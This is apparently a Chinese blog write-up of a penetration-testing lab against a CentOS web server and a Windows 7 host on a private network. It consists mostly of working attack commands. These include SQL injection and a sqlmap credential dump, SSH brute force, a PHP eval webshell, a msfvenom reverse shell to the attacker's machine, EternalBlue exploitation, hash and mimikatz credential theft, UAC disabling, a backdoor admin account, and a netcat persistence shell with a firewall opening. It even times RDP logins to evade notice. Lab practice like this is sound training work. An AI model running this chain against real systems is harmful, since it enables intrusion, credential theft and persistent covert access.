Lynn's Tasks😍
靶机：192.168.8.2(CentOS);192.168.8.60(win7)
攻击机：192.168.8.128(kali)
前期工作|信息收集
开启两台靶机
192.168.8.2：
192.168.8.60：
判断受害主机ip
由于我们不知道靶机的ip，我们先nmap扫一下
1 | nmap -sP 192.168.8.0/24 |
扫到如下存活主机ip
经过排查，.60|.2这两台是受害靶机。
打开看一下，
192.168.8.2：
192.168.8.60：
大致：ip为.60这台主机是个人主机？，ip为.2这台主机是web服务器
192.168.8.2
信息收集
端口扫描
按照上述思路，先对192.168.8.2这台主机进行端口扫描
1 | nmap -sT -sC -sV -O 192.168.8.2 |
熟悉的老朋友：22|80
目录扫描
以防万一，再进行目录扫描
扫出reports目录，看了一下里面的文件，并无利用价值。
再次以防万一，继续换工具扫
发现用dirb、dirsearch、nikto等工具扫还是只有reports这个目录。
web渗透
针对80端口
就是之前的主界面，有三个超链接，前两个是邮箱，点击’here’康康。
简单试了一下，存在sql注入。
1 | 1' or 1=1# |
爆列数
1 | 1' order by 3# |
发现存在2列。
接下来直接sqlmap跑算了。
我是在物理机上跑的，命令如下。
爆库
1 | python sqlmap.py -r 1.txt --dbs |
爆表
1 | python sqlmap.py -r 1.txt -D company --tables |
爆列
1 | python sqlmap.py -r 1.txt -D company -T users --columns |
爆数据
1 | python sqlmap.py -r 1.txt -D company -T users -C name,login,password --dump |
得到一个账户以及密码，这不就是那台desktop的jess jones的凭据吗，hh😊。这里再提一嘴，存在目录遍历漏洞
那就可以读取reports.php文件进一步分析了。这里康康杰佬的wp，加深理解
other
针对22端口
直接尝试连接
1 | ssh root@192.168.8.2 |
需要密码，那就
测试是否存在弱口令
先跑一个 22 端口密码爆破的程序
1 | hydra -l root -P /usr/share/wordlists/dirb/big.txt -V -t 5 ssh://192.168.8.2:22 |
参数解析：
-l //要爆破的登陆用户
-P //加载一个字典文件
-V //显示每个爆破过程
-t //线程
爆破到最后可获得密码
area51
（找个好字典即可）
针对445端口
由于445端口开启的是SMB共享服务,那么可以有以下思路:
使用smbmap对smb信息枚举SMBMap允许用户枚举整个域中的samba共享驱动器。用户可以使用该工具列出共享驱动器、驱动器权限、共享内容、上传/下载功能、文件名自动下载模式匹配，甚至远程执行命令。该工具原本的设计初衷是为了简化在大型网络中搜索潜在敏感数据的过程。
1 | smbmap -H 192.168.8.2 |
发现对共享文件夹reports有读写权限，嘿嘿，这不是一个突破了吗。
尝试连接
1 | smbclient //192.168.8.2/reports |
密码应该是随便输，我就输入了一个1直接进去了。
查看目录，嗯，和我们刚才访问reports目录是一样的内容。
尝试创建一个目录（没啥用，只是测试是否真的可以写入）
这里成功创建了，我想尝试上传一个后门。
1 | @eval($_POST['1']) |
成功写入！
尝试蚁剑连接
尝试msf连接
生成反向木马并上传
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.8.128 LPORT=1111 -f elf >t1.elf |
sudo -l
1 | 列出当前用户可以执行的所有指令 |
sudo su
1 | `sudo su 是一个 Linux 命令，用于切换当前用户的身份为超级用户（root）。sudo su 允许普通用户临时获得 root 用户的权限，以便执行需要特权访问的操作。su 是切换用户的命令，而 sudo 允许普通用户以超级用户的身份执行特定命令。sudo su 结合了这两个功能，允许用户临时切换为超级用户身份执行命令。` |
nmap -sT -sC -sV -O 192.168.8.60 -oN nmapscan/detail
1 | 知道一些端口开放信息以及操作系统信息，这里依旧开启了共享文件夹服务。 |
nmap -script=vuln 192.168.8.60 -oN nmapscan/vuln
1 | 看得出来，还是利用共享文件夹做文章 |
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.8.60
run
1 |  |
search ms17-010
1 |  |
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.8.60
set lhost 192.168.8.128
#lhost一定要设成kali的ip，不可以使用它默认的127.0.0.1，不然会利用失败，不知道为什么。
run
#或
exploit
1 |  |
hashdump
1 | 注:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0为空密码 |
shell
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
1 |  |
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
1 |  |
shell
1 |  |
upload /usr/share/windows-binaries/nc.exe C:\windows
1 |  |
download C://nc.exe
1 | ## 远程登录 |
meterpreter > load kiwi //加载kiwi模块
creds_all #列举所有凭据
exit #退出
1 | 但是...niao玩意没有登陆过？ |
meterpreter > hashdump
1 | 却可以爆出jess jones登录凭据的hash。 |
meterpreter > run post/windows/manage/enable_rdp //启用目标主机的3389端口远程桌面
meterpreter > idletime //查看远程用户的空闲时长，空闲时间长再进行远程登陆，减小被发现的风险。
1 | 成功开启 |
meterpreter > shell #进入命令行
net user dralinf 123 /add #新建用户dralinf 密码123
net localgroup administrators dralinf /add #将用户dralinf添加到Win7的本地管理员组中，获得管理员权限
net user #查看用户
1 | 成功添加，并尝试远程连接。 |
upload /usr/share/windows-binaries/nc.exe C:\windows
1 | 当目标机开机，程序后台运行，且监听端口为6666，这个端口可以自己设置。 |
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d ‘C:\windows\nc.exe -Ldp 6666 -e cmd.exe’
1 |  |
shell
netsh firewall add portopening TCP 6666 “dralinf” ENABLE ALL
1 |  |
meterpreter > reboot
1 | ``` |
e，这里我利用失败了，求教😢。
参考学习：https://blog.csdn.net/m0_65712192/article/details/127637917
关于kiwi
msf中的kiwi拓展，也就是mimikatz的一些用法。
1 |
|
1 | privilege::debug |
